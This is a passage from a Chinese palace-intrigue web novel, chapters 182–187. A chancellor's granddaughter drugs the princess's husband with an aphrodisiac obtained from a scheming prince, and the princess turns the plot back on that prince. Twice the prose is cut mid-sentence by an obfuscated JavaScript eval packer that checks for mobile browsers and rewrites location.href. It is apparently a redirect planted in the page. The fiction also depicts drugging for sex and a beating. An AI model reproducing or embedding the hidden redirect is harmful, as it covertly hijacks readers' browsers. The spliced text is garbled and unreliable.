商无忧偏过头,淡淡道:“今日实在乏的厉害,六公主若没什么要事,本宫要回去休息了……” “我知殿下嫌我不配,” 夏锦澜端着酒杯来到商无忧跟前,口气余有戚戚焉。 “身为北狄公主身后却无人支持,锦澜亦看不起自己。虽前路茫茫,可若不尽力拼上一拼,等着我的唯有一条不归路!” 她微微屈膝,俯身将手中杯向上一举,沉声道:“北狄人有恩必报,这桩亲事挡无可挡,若长公主肯助我一臂之力,来日锦澜绝不忘殿下大恩!” 堂堂北狄公主竟现臣服之姿,商无忧心头一动,忙一把扶住她,低声道:“你放着母国不顾,竟上赶着来求我这敌国公主,是真的想好了吗?” 夏锦澜咬了咬牙,“求你帮我,我日后会对你有用的……” “好!” 商无忧大方接过她手中酒一饮而尽,“本宫喜欢不认命之人!无论前路如何,只要你敢豁得出去,谁又能奈何得了你呢?” 她忽的一把拉住夏锦澜的手,将人往身边一带,伏在她耳边低声道:“殿下非池中之物,何不把眼界放宽些——何必要做什么皇子妃?我大辉的后卫可还空着呢!” 一阵颇具侵略性的凛冽梅香从鼻尖飘过,夏锦澜的心忽的漏跳了一拍。 商无忧笑着拍了拍她的肩膀,喃喃道:“与其打皇子们的主意,还不如直接去到我父皇身边。不过入宫为妃为到底是一条险路,走与不走还是要殿下自己拿主意。不过六公主若真觉势单力薄,不妨去寻寻你家玄王殿下,他可是对我大辉朝内政感慨颇深啊!” “本宫先走一步,待会儿还有好戏,公主可留下细看!” 商无忧将酒杯塞回夏锦澜手中,一双碧色的眼中寒芒骤起。 “殿下的承诺本宫记住了,本宫就安心等着殿下的报答了。” 待那大红色的身影消失在视线当中,夏锦澜的背后早已濡湿,她牢牢握紧手中杯,神色颇为挣扎—— 大辉皇帝的年纪足以做她父亲了! 可那又如何?! 商无忧说得对,反正她是回不去北狄了,既如此倒不如将全部希望押在辉帝身上——大辉没有皇后,后宫嫔妃也不过区区几人,而她的背后是强大的北狄,只要日后好好钻营,说不定真能搏出条活路…… “在那站着作甚,还不赶快到本王子身边来?本王子要为你引荐礼王殿下!” 晨露闻言心中不快,大王子是当六公主是条狗吗? 当着众人便对六公主这般呼来喝去,竟是连半分颜面都不给殿下留! 晨露正想着,忽见夏锦澜捂着头哎呦一声,脚下也踉跄起来。 她忙上前一把扶住夏锦澜,却被她在胳膊上不轻不重的拧了一把,主仆二人相伴多年,晨露立时会意,忙朝不远处的夏云骁道:“大王子恕罪,咱们公主饮了不少‘同艳’,眼下只怕有些醉了,奴婢扶殿下坐坐、好好醒醒酒,就不过去您那边了……” 夏云骁皱着眉狠狠瞪了二人一眼。 夏锦澜这个死肥猪,出了门只会吃吃吃,简直是一无是处! 他刚刚已拿定主意,要将夏锦澜嫁与礼王为妃子,本想先让礼王相看相看这名不见经传的北狄六公主,自己再在一旁说些好话,这门亲事便一定会成。谁知夏锦澜竟这般有心计,一开席就自顾自躲到令人生厌的商无忧身边大快朵颐,留下自己一人在这应付礼王,当真不知所谓! 他知她不愿联姻! 可这事是太后的旨意,那臭丫头是无论如何也躲不掉的! 父皇子嗣众多,若不是想着这些出身不高的公主还有联姻之用,太后早就将这些血脉卑贱者逐出宫了…… 礼王看出他的不悦,忙道:“此事怪不得六公主,无忧可是海量,寻常男子根本不是他的对手,六公主一看就不是能饮之人,难怪醉了。” 二人正说着,却见宁国公赵元婴站起身来,朝礼王和成王施了个礼,温声道:“长公主身子不适已先行回府,殿下大伤初愈,元婴身为人夫,该赶回去照顾殿下。元婴在此处向二位殿下告罪,按理说设宴之人该陪到最后,可元婴忧心长公主的伤势,今日便少陪了!” 成王巴不得众人早些离去,闻言忙道:“无忧的身子要紧,北狄、南诏诸位使臣有本王相陪,沛之只管放心!” 礼王却不愿放人离去,忙不迭道:“宁国公不要扫兴,无忧已先去了,你若再走这席面上可就不好看了。来来来,你再与本王饮上几杯……” 夏云骁冷哼一声,“殿下叫他作甚!他不过是个吃软饭的,似这般靠着拉妻子的衣裙上位之人,本王子断断瞧不上眼……” 赵元婴对他的挑衅置若罔闻,抬脚便往外走。 不远处的高若馨已在柳儿的搀扶下站起身来,看着目不斜视的赵元婴,她心头浮起忽的一丝狼狈和不甘,这便一瘸一拐的走了过来。 “宁国公留步!” 赵元婴脚步一顿,“高小姐唤本公何事?” 高若馨目中含泪,楚楚可怜道:“宁国公好狠的心肠,你就忍心看那商无忧这般折辱于我?” 第一百八十三章 同饮 赵元婴面色淡淡,默然道:“高小姐的话本公听不明白,公主已看在成王和丞相的份上网开一面,没想到小姐竟还不满意!这冒犯他国皇室的罪名若是换在其他人身上,只怕已成了掉头的罪名!” 高若馨狠狠道:“这明明是商无忧故意给我难堪,好叫我在国公爷面前丢脸!都是女子,她为何这般狠毒……” “高小姐慎言!” 赵元婴用冰冷的目光注视着高若馨,冷冷道:“长公主的名讳连二位王爷也不会轻易提及,又岂是你一介世家女子可喧诸于口的?!” “再说我与小姐并无交情,又何来丢脸一说?” 自打新婚之日国公府门前那一回,赵元婴便对眼前女子生出些厌恶。 高若馨云英未嫁,可自己已是有妇之夫;若是在与长公主成亲前她来表白一番,勉强可被成为“大胆”,可如今她三番两次纠缠不休,除了“无耻”二字,赵元婴实在想不出更贴合的词! 赵元婴不愿再与之废话,谁料竟被高若馨一把死死拽住袍袖;赵元婴冷冷的将袍子一抖,高若馨被甩的几乎站立不住,却依旧白着脸拉着他的衣角不撒手。 赵元婴神色愈发冷冽,“小姐再不松手,本公便不客气了!” 礼王远远望见此处情势,心头不由划过一丝嘲讽,便朝成王道:“廷煜,你快瞧瞧若馨表妹这是怎么了?莫不是也如六公主般喝多了酒、只能靠牵着宁国公的袍子才能站稳?” 成王这才注意到这边气氛的不同寻常,他将面色一沉,忙不迭站起身来至二人面前,一把拉住高若馨拽住袍子的手,低声喝道:“还不放开,成何体统!” 高若馨眼中含着一泡泪,无论成王怎么拉扯就是不松手。见她如此倔强,成王只得无奈的叹了口气,喃喃道:“你与张子昂的亲事就快定了,这样做只能让自己更难堪……” “表哥,我不要嫁给张子昂……” 这丫头真是无法无天! 在几十双眼睛的注视下,成王心头愈发烦躁,不耐道:“婚姻大事需遵父命之命,你愿或不愿又有何干?宁国公是长公主的驸马,你再不放手,本王就叫人将你敲晕了拉下去!” 高若馨死死咬着唇,终于缓缓将手松开,低声啜泣起来。 成王心头闪过一丝不忍——若馨从小是被祖父和母亲宠着长大的,身份高贵的连寻常嫔妃所出的公主也无法与之相比。这也养成了她骄矜、倨傲的毛病,从小到大,凡是她喜欢的便一定要得到,否则便会一直厮闹个没完。 祖父和母亲一再纵容,没想到竟养成了她这无法无天的性子!如今婚事在即,她也该明白有些事不可为亦不能为——这世上总有些事,即便你身份再高、权柄再重,也终究无法实现! “好了,别哭了!本王叫人送你回相府!” “我不……呜呜,二表哥,我头疼的厉害,能不能请宁国公送我上楼休息……” 成王闻言冷下脸呵斥道:“还敢胡闹?信不信我现在就叫人将你绑回去!” 高若馨楚楚可怜的拉住成王的袖子,低声祈求道:“呜呜,表哥别和我生气,若馨知道错了!我知道宁国公成了亲,我只求国公爷将我送上三楼,只要王爷允我所请,若馨以祖父之名起誓,从今往后绝不再骚扰宁国公……” 成王略一思忖只觉划得来,嘴上却不咸不淡的斥道:“胡闹,若是国公不允,难不成你还要继续纠缠……” 礼王朝身旁的铁风使了个眼色,这才大声道:“宁国公就从了若馨表妹的意吧!不过是将她送上楼,能有多劳累?国公爷只需辛苦一趟,便能换个余生安宁,何乐而不为呢?” 见礼王难得与自己站在同一阵营,成王忙转过头朝赵元婴道:“沛之恕罪!旁的事本王都能料理,可若馨是祖父的心头肉,又是个女儿身,本王实在是不好用强……” 两下里都如此说,赵元婴便也没了办法,只得点了点头,随后便不再言语。 成王见状心头一喜,回身对高若馨道:“国公爷大度,此番便遂了你的心愿,可你也得说话算话,从今往后不许你再寻国公爷的麻烦!” “表兄放心,若馨是相府贵女,决不食言!” 高若馨说着朝赵元婴福了福身,“有劳国公了!” 说罢带着柳儿,转身朝楼梯走去。 赵元婴朝礼王和成王点了点头,随后一言不发的跟在她身后,朝三楼走去。 礼王露出一抹得意的微笑,朝身旁的夏云骁举杯道:“听说这芙蓉楼新来了一位蛮族舞姬,端的是身段无双、舞技娴熟!说起这蛮族的卡恰鼓本王也是会打的,本王这就去看看有没有趁手的鼓,待会本王亲自打上一段,为诸位助兴如何?” 夏云骁哈哈大笑,“难得礼王殿下有如此兴致,本王子就等着大开眼界了!” ----------------- “高小姐好好休息,本公这便告辞了!” “国公爷竟连一刻都不愿待,您就这般厌恶若馨吗?” 看着面前娇弱又可怜的少女,赵元婴别开眼,淡淡道:“高小姐叫本公将您送上楼,如今本公已履行承诺,还望小姐之后莫要再纠缠。” 高若馨的神色既倔强又柔弱,悲伤的撇着嘴道:“宁国公当我是什么人?我说话算话……” “本公告辞!” “且慢!” 赵元婴皱了皱眉,眼中带着淡淡鄙夷,低声道:“小姐若有旁的事还请去寻成王,本公恕难奉陪!” 高若馨悲切切道:“今日一别日后恐难相见,我只想敬国公爷一杯酒,只要国公饮了此杯,今后你我再无交集!” 赵元婴一双眼定定注视着高若馨,直将她看的毛骨悚然,这才冷冷道:“拿酒来!” 高若馨眼中闪过一抹决绝之色,转身朝柳儿道:“去取长公主的‘同艳’来!” 柳儿福了福,转身朝内室走去,不多时便端着两只玉盏来至二人跟前。 “还请国公与小姐同饮!” 那婢女垂头将玉盏送至赵元婴面前,她的手微微颤抖、竟不甚杯中深红色的液体溅在赵元婴身上。 高若馨不动声色的接过玉盏,柔声道:“我这丫头没见过世面,国公爷莫怪,我敬国公!” 赵元婴无言接过柳儿手中玉盏,猛地仰头将之饮尽,随后轻蔑的将之抛入柳儿怀中,淡淡道:“但愿小姐信守诺言!” 第一百八十四章 方生如意 看着那抹让自己魂牵梦绕的俊朗身影,高若馨一时感慨万千,忽的哭了出来。 “赵元婴,是你先来招惹我的!谁叫你当初奋不顾身拦住了相府受惊的马车,救命之恩本就该以身相酬!怪就怪父亲和祖父实在太过固执,非说什么赵家难长安,任凭我百般乞求也不肯去国公府提亲……” 闻言赵元婴脚步一顿。 什么叫赵家难长安?! 难不成高相竟知道些什么…… 高若馨擦了擦眼泪,继续道:“我非不知廉耻,可那一日你骁勇的身影一直挥之不去,纵容满京都的人都说你是如裴家三少般的纨绔子弟,我也不在意!” “若你真是纨绔子弟,又怎会一人一骑便拦住四乘马车?不过是兄长太优秀,你这才有意放浪形骸罢了……” 赵元婴忽的勾起唇,柔声道:“难为高小姐竟看穿了元婴……” 见他如此温和,高若馨一愣,忙鼓起勇气道:“我知道陛下多疑,老国公长年领兵在外,赵元吉已是征西将军,赵家决不能再出一位手握兵权的高级将官,你只能如质子般老老实实留在皇城,做一个不甘的纨绔子弟。” 赵元婴垂眸叹道:“我与阿斐混迹京都,虽无甚恶名,想来丞相大人也瞧不上我这一介武夫之子。” “祖父确实说过国公府难保平安,到时莫要说是宁国公,连府内老幼妇孺皆难逃一死!” 高若馨继续道:“我也不知祖父为何会下此结论,可祖父想尽一切办法阻止我与你相见,我纵然心悦与你,却无法与你言说,这才让那商无忧趁虚而入……” 赵元婴转过身,温声道:“小姐当知父亲和祖父去世后赵家的情形——那时阖家女眷被扣在太庙,兄长重伤生死未卜,父亲与祖父背负污名,而平日里与国公府要好的世家唯恐受牵连,就连赵家二房三房亦对我避之不及。整个京都愿意对我施以援手的,只有寥寥数人!” “绝望之际,重病的长公主成了我唯一的指望。纵使整个京都都来戳我的脊梁骨,说我是卖祖求荣的媚上之徒,我也毫不在意。” “只要能救得家人,与人冲喜又何妨?” 赵元婴目光中掺杂着一丝难以言说的温柔,轻声道:“如今长公主已是我的妻,而她从未让我失望——保女眷、正名节,世人皆说她疯癫无状,可于元婴而言,国公府的宗妇无人比她做的更好。” “公主虽喜怒无常,却从无仗势欺人之举,对强势的祖母她一贯隐忍,对嬉闹的孩子们却十分纵容。有妻如此、我赵元婴夫复何求?!” 他提起那女子时的神态太过温柔,高若馨顿时愤恨不已,厉声道:“娶了个疯妇进门,你就真的甘心?!” 闻言赵元婴似是听到什么好笑之事般忍俊不禁,“殿下救我于危难,我有什么不甘心的?难不成要找一个只能同甘而不能共苦之人为妻,才算志得意满?” “高小姐口口声声对我情深义重,为何在国公府遭遇危难时元婴从未见过小姐身影?” 高若馨一滞,忙道:“那是因为祖父不叫我出门,还派人在外看守,我这才……” “有人看守又如何?高小姐为了给成王殿下通风报信,还不是在相府的重重守卫下突围而出?有志者事竟成!看来小姐喜欢的是高高在上的宁国公,并非低贱无名的赵元婴!” 高若馨脸色一白,喃喃道:“你、你怎么知道……” 赵元婴并未回答她的问题,只是叹道:“人不为己天诛地灭,从某种角度来说,我与小姐其实是一种人。” “只不过与小姐相比,我尚且还有几分廉耻,不屑于打着‘钟情’的旗号叫人难堪!” 赵元婴最后看了眼高若馨,默然道:“我言尽于此,今后望小姐好自为之!” 赵元婴说罢转身欲走,可刚刚跨出一步,忽觉一阵天旋地转,他忙以一手扶门,这才勉强稳住了身形。 虽之前与成王等人豪饮,但赵元婴心中有数,那些酒不足以让自己分不清东南西北。 看来,问题就出在最后与高若馨饮的那杯酒上…… 赵元婴强撑着身子转头望去,眼前一幕幕愈发朦胧,任凭他如何甩头也难复清醒。 看着他挺拔又矫健的身姿萎靡下来,高若馨这才不紧不慢冲柳儿道:“宁国公醉了,还不快扶他过来休息!” 柳儿颤巍巍走上前来,一把拉住赵元婴的胳膊,低声道:“国公爷虽奴婢去那边躺上一躺……” 一股奇异的酥麻感从左臂传来,赵元婴猛地一把甩开柳儿,转身靠在墙上,低寒声道:“高若馨,你果真是个毫无廉耻之人……” 高若馨面上泛着奇异的红晕,一步步来至赵元婴面前,柔声道:“赵元婴,是你把我变成如今这样的!谁叫你非要救我,既救了我,便要对我负责——我说过这辈子非你不嫁,我想要的便一定要得到!” “这药叫做‘方生如意’,取方死方生、一切如愿之意;也不知礼王从哪里寻来这般霸道之药,竟比若馨原先所得之药强上百倍!” “你放心,那药我也饮了。待你我成其好事,便是祖父也拦不住我嫁入国公府。商无忧能给你的,我也能给——今后相府的权柄将尽数为你所用!” 高若馨面色愈发潮红,她借着药性、仗着胆子一把拉住赵元婴的手,将他一臂担在肩上,与柳儿合力半拖半扶将人弄至榻边;赵元婴跌坐在榻上,只觉浑身的力气仿佛消失殆尽,脑中唯有无尽欲望在疯狂叫嚣。 眼前之人竟也渐渐变了模样——那张脸张狂中带着丝丝傲气,凌利中透着摄人心魄艳丽! 她于宫中斗卫尉时的张扬、于太液池旁对鬼见愁挥刀相向的癫狂、于国公府中救治兄长时那令人不敢靠近的圣洁…… 往日的一幕幕与眼前划过,赵元婴再按耐不住,朝床边的女子伸出手,温和的唤了句—— “谲儿,你来了……” 柳儿红着脸,转身出了门。 “方生如意”高若馨虽饮的不多,奈何药性霸道,令她愈发难耐,朦胧间只见梦中人赵元婴朝她伸出手,口中柔柔唤了句什么;高若馨虽为听清却心喜若狂,一把扑在那人怀里,无限可怜道:“元婴,你终于……” “哼,好个贱丫头,竟敢对本宫的男人出手,果真是活腻了!” 第一百八十五章 赵元婴,我看错你了! “礼王殿下,人上去一会儿了!” 听见侍卫的回报,商煦鹏不由露出一抹得意的笑。 “铁风啊,今日本王便教你个乖——这女子无才便是德!世家贵女有什么好?还不是成日里算计来、算计去,弄不好哪一日连自家人都算计了进去,那才叫糟!” “就说那赵元婴吧,武人世家的王公贵子,便是公主也娶得。不过是偶然间出手救了丞相府的嫡女,竟反被所救之人算计,马上便要名声扫地、夫妻失和!早知如此,还不如不救那狼心狗肺的高若馨,还能落个安生!” “王爷教训的是!” 铁风朝楼上看了看,低声道:“高小姐的侍女已掩门离去,咱们何时出现为好?” 礼王面上浮现一抹阴狠的笑,“高若馨惦记了赵元婴许久。本王乐意成人之美,这才寻了那‘方生如意’给她,且让她多舒爽舒爽!待时间一长、成王等人觉出不对劲了,咱们再进去也不迟!” 铁风闻言垂头不语。 礼王说的轻松,可那“方生如意”是从蛮族大祭祀处寻得的失传禁药,相传是多年前一位出身巫女的嫔妃所制。那嫔妃用了数种禁忌药材佐以巫术才做出此药。传闻中了药的蛮王一夜间几乎去了半条命,可从此之后那位巫女便一跃成为蛮王唯一的大妃,她的儿子便是蛮族最后一位国王。 高若馨对宁国公又爱又恨,这才狠心对他下了这“方生如意”。 今夜之后,宁国公的身子只怕要被毁了,而长公主在赵家的地位则愈发岌岌可危! 可礼王毕竟是先皇后养大的,洛阳宫变后皇族内人人自危,殿下看着长公主陷入困境却依旧选择明哲保身,此举本也无可厚非;而如今时过境迁,他还以为礼王会看在先皇后养育之恩的份上与长公主重归于好,没想到殿下怕长公主复起分权,竟默许高若馨设计陷害她的夫婿。 果然无情最是帝王家! 思及此处他垂眸道:“不如王爷回去歇上一歇,待那厢里出了动静小人再来叫王爷……” “不成,此处本王要亲自看着。” 礼王朝前踱了两步,低声道:“一会东窗事发,老二定是想要息事宁人。本王要将这桩丑事狠狠掀开,让天下人都知道所谓的高家贵女究竟是个什么货色,而身怀高氏血脉的商廷煜压根儿配不上太子位!” “本王先上楼,待会儿听见杯盏碎裂之声你便给本王大声喊叫。记住,务必让两国使臣一同上楼做见证!本王要高若馨和赵元婴的丑事闹得人尽皆知,倒时再看老二如何将此事大事化小!” 铁风忙道:“王爷只身上去只怕不妥,宁国公出身武人世家,若一时恼羞成怒失手伤了殿下可如何是好?” 礼王闻言满不在乎,“毕竟事涉皇家辛密,你一个侍卫在场不合适。再说那赵元婴既中了蛮族**,只怕一时也起不来身……” 铁风心中一沉,忙躬身道:“属下遵命!” ----------------- “赵元婴,我看错你了!” 商无忧叉着腰站在榻旁,朝着床上眼神迷离、衣衫半褪、露出结实胸膛的宁国公低声骂道:“我还以为你是个聪明人!高若馨是个什么货色,她给的酒你也敢喝?!若是本宫再晚来半步,你的贞洁就保不住了……” 默默立在一旁卫真轻咳一声,低声道:“国公爷是男子,哪来的什么贞洁……” 商无忧尤不解气,本想冲上前去扯住赵元婴的耳朵继续骂,却发现他整个身子烫的吓人,这才堪堪松了手,皱着眉道:“赵元婴,你这是中了**?” 赵元婴只觉头重脚轻,他勉强睁开眼,面前正立着一身火红的长公主,身旁还站着一脸讳莫如深的卫真。 他心头忽的掠过一丝清明,忙开口道:“不是**,是春、春……” “**?!” 商无忧一脸恨铁不成钢的狠狠剜了他一眼,“这等拙劣的手段你也能中招,真让本宫瞧不起!” 卫真忙上前一步,“还是先给国公解毒要紧……” 商无忧抱着肩恶狠狠道:“那还不容易?找一盆冰水顺头浇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759067|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去,什么药都解了!” 卫真摇了摇头,“殿下的法子极为伤身,宁国公的样子似是极不寻常,依我看还是问清楚了再对症下药的好!” 商无忧闻言走至倒在地上的高若馨身旁,俯下身一把抓住她的发髻、平视着她神色迷离的双眼,碧眸中荡起一片浓雾。 “说,你给赵元婴下的什么药!” 高若馨脑中本就浑浑噩噩,如今被那双诡异的碧眸一看,便结结巴巴道:“礼王给的……蛮族秘药……方生……如意……” 商无忧歪头看着她半晌,忽道:“为了个男人,值得吗?” 高若馨笑嘻嘻道:“只要……让你难过……我就……我就……” 咚! 商无忧猛地松开她的发,高若馨一头栽倒在地;她顾不上身上的疼,转头朝不远处的赵元婴匍匐而去,迷迷糊糊道:“元婴……我要嫁……” 榻上的赵元婴亦在此时呻吟起来。 看着商无忧沉着一张脸,卫真忙道:“很难解吗?” 商无忧闻言咬牙切齿的瞪着蠕动的高若馨,恨恨道:“你可真够狠的,此药竟是要去了他半条命!” 卫真的心一沉,忙道:“难不成竟是**?” “虽不是毒,却也差不多!” 她烦躁的在屋内踱来踱去,“此药出自蛮族巫女之手,虽是催情之药却恁的霸道,不仅无解且于身体大为有碍;赵元婴若真与她……只怕是一夜也不会停……” 卫真亦无计可施,只得道:“为今之计只有先将他带回国公府,再做他想才是!” 商无忧点了点头,忙走上前去为赵元婴整理衣冠,冰凉的手指不经意间划过赵元婴汗湿的胸膛,竟惹来他一阵悸动;赵元婴猛地睁开眼,一把抓住她的手,目光柔和的如一池春水。 “谲儿,你来救我了……” 商无忧脸一红,忙不迭挣开他的手,拉着脸朝卫真道:“你来给他穿衣服!” 卫真默了默,忽的低笑道:“难得殿下也有难为情的时候!” 第一百八十六章 替我狠狠打他一顿 “好你个卫真,竟敢取笑我?” “并非取笑,我只是感叹殿下越来越有人情味了!” 卫真说着不慌不忙的扶起赵元婴,迅速为他整理好衣衫,口中低声道:“殿下本该平安顺遂的过完一生,不该为仇恨所累;为族人复仇之事是我的责任,只可惜我无能,否则殿下也不必跌入这无尽的算计中……” 商无忧忙道:“你这是什么话?今日若不是陈氏暗人,我也断不能发现高若馨竟与大皇兄有染……” “殿下是如何知道宁国公有难的呢?” 商无忧抱渐冷哼道:“都是赵元婴的命好!我刚出芙蓉楼的大门,眼前就闪过他与高若馨赤身裸体搂在一处的画面……好在我认得出那房间便在芙蓉楼三楼,这才特意在此处等候。” 想到之前看到的画面,她胸口一阵阵翻腾,只觉无比恶心,恨不得抽刀将高若馨剁成碎片,遂恨恨道:“大皇兄好狠的心,他既如此对我,就别怪我不顾从小一起长大的情分!” 卫真忙道:“你待如何?” 商无忧哼了一声,“我这人一向刁毒,人若犯我我必百倍偿还!老虎不发威,他们便还当我是永巷中人尽可欺的疯子。大皇兄心思歹毒,他如今与高若馨联手,害了赵元婴的同时又恶心了成王。他们一个要人、一个要权,既如此我也该成人之美,让下毒之人也尝尝‘方生如意’的滋味!” 卫真一愣,“你是说……这成吗?” “怎么不成?大皇兄已将前路铺好,我们只需依计而行!” 卫真闻言便将赵元婴推入商无忧怀中,低声道:“既如此殿下带着国公爷先走,我留在此处善后。” “不成!” 商无忧气呼呼将赵元婴推了回去,“商煦鹏欺人太甚,待我过去揍他两拳再走不迟!” 卫真忙一把拉住她,低声劝道:“殿下别任性,眼下宁国公的身子为重。殿下要做什么只管吩咐卫真就是,可宁国公这里是断断拖不得了!” 商无忧看了眼眸光散乱的赵元婴,这才一把将人揽在怀里,抬起头目光灼灼看着卫真道:“你替我狠狠打他一顿!” 卫真扯了扯嘴角,“殿下放心,若一个月内礼王能下得了床,殿下只管将我丢进天牢就是!” ----------------- 礼王上楼后便在高若馨卧房外不远处的一间客房坐了下来,许是楼下丝竹管弦之声太盛,他竖着耳朵听了许久也未听到什么不寻常的声音,索性安下心来等待 想到不久后高家和赵家就要被他**于股掌之中,一丝喜气便漫上心头。 想到“方生如意”药效之强,他不由露出一抹阴狠的笑—— 无忧她实在太过分,两人好歹是一同长大的,当初落难时他虽未曾出手相助,却也不像淑妃等人一般落井下石;如今无忧一朝翻身、坐上了镇国公主的宝座,怎么就不知提携提携自己的兄长?!这个疯丫头仗着得宠,多次在父皇面前让自己下不来台,今日就好好给她个教训! 公主又如何?只要是个女子就没有不受夫家辖制的! 高若馨毕竟是丞相之女,不是屈居人下之辈,嫁入赵家后定然要与无忧这正妻争个高低;赵元婴又是个没骨气的,她二人往后谁高谁低还不一定。而宫中如今以母妃为尊,到时无忧吃瘪定然要求助自己这个大皇兄,只要天命神女站在自己这边,这太子之位便是他囊中之物了…… 商煦鹏越想越兴奋,口中愈发干涩,忙拿起手边一壶清茶自斟自饮起来,丝毫没注意到房梁上的人影早已顺着棉绳将那深红液体缓缓注入茶中。 不多时礼王竟觉口干舌燥,手中茶一杯接一杯的饮下却依旧不解渴,身上亦燥热起来。 他烦躁的扯了扯衣领,只道是刚刚与北狄王子喝的酒上了劲;直到眼前一片模糊他这才觉出事情不妙,他跌跌撞撞朝门口走去,刚要开口喊人,却被身后一只强有力的臂膀狠狠拉了回来。 商煦鹏心头一凛,忙不迭张口呼唤楼下的铁风,谁料一张口、一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770109|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块臭烘烘的抹布便紧紧塞入他口中,紧接着眼前一黑、一条巾子竟将他双眼死死罩住,还未等他反应过来,雨点般的拳头便落在了他的身上—— 那人先是朝他被罩住的双眼狠狠锤了两拳,随后无数重拳便落在了他的腰腹处—— 芙蓉楼的佳肴美酒乃是洛阳之最,今日因陪北狄使团、商煦鹏着实近了不少;他又是个养尊处优之人,哪里禁得住打?! 几记重拳下去他便吐了出来,奈何口中那抹布塞得死紧,口中的臭味加上肚腹中不断反上之物叫他愈发忍不住恶心;偏此时吐又吐不出、咽又咽不下,一腔秽物无处倾泻竟鼻孔中喷了出来,气管内涌进异物几乎将他呛死,一张脸竟渐渐涨成紫色! 就在他神情恍惚之际,口中的抹布终于被人扯下,商煦鹏顿时趴在地上、翻江倒海的吐了起来。 还未将气喘匀,身子便被人提起、朝不远处的客房走去。 商煦鹏几乎昏死过去,恍惚间只觉被人扯去衣服,一条冰冷的毛巾当头罩来,冻得他打了个哆嗦,那巾子在他脸上、身上胡乱擦了几下,随后一具温润的身子便缠了上来;商煦鹏只觉五内俱焚,浴火腾的一下撞了上来,体内似有一团火不管不顾的烧着。 直到听见怀中人柔柔唤了句“元婴”,商煦鹏这才清醒了两分。 不对、不对…… 柔软又娇媚的胴体再次缠了上来,商煦鹏刚刚升起的警惕之心被终于**燃烧殆尽! 脑中弦已断,他自顾自搂紧那销魂的身躯,放肆的缠绵起来…… 卫真回身关上客房的门,飞身便上了房梁,抱着肩假寐起来。 待到天色大暗,他这才坐起身,手腕轻轻一挥,一枚石子便透过客房虚掩的窗、准确无误的击断了桌案一腿,上头的杯盘立时噼里啪啦碎了满地。 楼下的铁风闻声精神不由一阵,忙扯着嗓子喊起来—— “楼上什么声音?二位殿下在此,莫不是有贼人行刺!来人,跟我冲上去看看!” 第一百八十七章 撞破(一) 柳儿昏昏欲睡,朦胧间耳边忽然一阵杯盘碎裂之声。 她身躯猛地一震,一腔睡意瞬时悄然无踪,她呆愣片刻,忙不迭起身推开门,急匆匆朝不远处的客房走去。还未置门口,便听见里头传来**之声。 柳儿脸色一红,站在门口踟蹰起来。 她转头朝外看了看,却见芙蓉楼外早已一片漆黑,原来二人已中药许久;她牢记着小姐的吩咐,尽管心中极不情愿,也只得狠下心推开房门—— 耳边的声音愈发不堪入耳,柳儿仗着胆子走进床榻旁,低声道:“小姐,可要奴婢去叫成王殿下……” 榻上之人恍若未闻。 隔着纱幔,柳儿清晰的听见粗重的喘息声,两个交叠的人影依稀可辨;她红着脸清了清嗓子,放大了声音道:“小姐,您还好吧……” 一只香汗淋漓的雪白臂膀从纱幔内伸了出来,柳儿一眼就认出那腕上鲜红的玛瑙镯正是自家小姐所有。 柳儿一颗心跳的咚咚响,一步步的靠近床榻,小心翼翼道:“小姐,小姐?是否要奴婢将人唤来……” 许是觉得她的声音太过恼人,榻上夷人猛地掀开纱幔,大声吼了句:“滚!” 柳儿被这突如其来的一嗓子吓了一跳,她转身欲走,却忽的顿住脚步,她双眼大睁、捂着嘴不敢置信的朝榻上望去—— 刚刚那个男子,居然是、居然是…… 不、不、不! 一定是她看错了! 明明是她亲手将宁国公扶到小姐榻上的,那个人又怎么会变成礼王呢?! 柳儿不死心,捂着嘴小心翼翼的踱了回来,口中不住探问道:“小姐、小姐?您跟奴婢说句话……” 好事被人打断,商煦鹏不由大怒,他一把将那碍事的纱幔扯了下来,朝着那让人厌烦的丫头道:“再不滚本王就将你的脑袋砍下来!” 纱幔一落地,榻上的情况顿时一览无遗—— 柳儿只觉眼前发黑,死命攥着拳、厉声尖叫起来! “啊!救命啊!” ----------------- 此时芙蓉楼二层早已乱了套。 铁风的声音刚刚一响,北狄和南诏的侍卫们便从楼下冲了上来,将夏云骁和皮劫逻紧紧护在中间;晨露则是牢牢挡在夏锦澜身前,厉声叫道:“来人啊,有刺客!” 成王见状忙不迭站起身,大声喝道:“大呼小叫作甚,刺客在哪里?!” 铁风忙冲上前来,单膝跪地道:“启禀成王,宁国公送高小姐至三楼客房迟迟未归,礼王殿下怕二人起了冲突,便也随之上了楼;可殿下去了不久楼上便传来杯盘碎裂之声,间或有女子尖叫。属下担心礼王殿下安危,但事涉女眷,还请成王下令准许我等上楼抓捕刺客!” 在场众人皆从这话中听出些不对来,夏云骁首当其冲道:“你说那宁国公送人未归?莫不是那厮看高小姐美貌,竟起了歹心?既如此断断不可饶了这无耻之徒!” 夏锦澜默了默,轻声道:“我瞧长公主的夫婿不是那样的人……” “你懂什么,知人知面不知心!” 夏云骁狠狠瞪了妹妹一眼,低声喝道:“竟敢反驳本王子的话,你到了大辉怎的竟学的这般没规矩?” 成王横了夏云骁一眼:这北狄王子看着聪慧,不料竟是个蠢的!若赵元婴真是好色之徒,若馨又何必对之苦苦纠缠?! 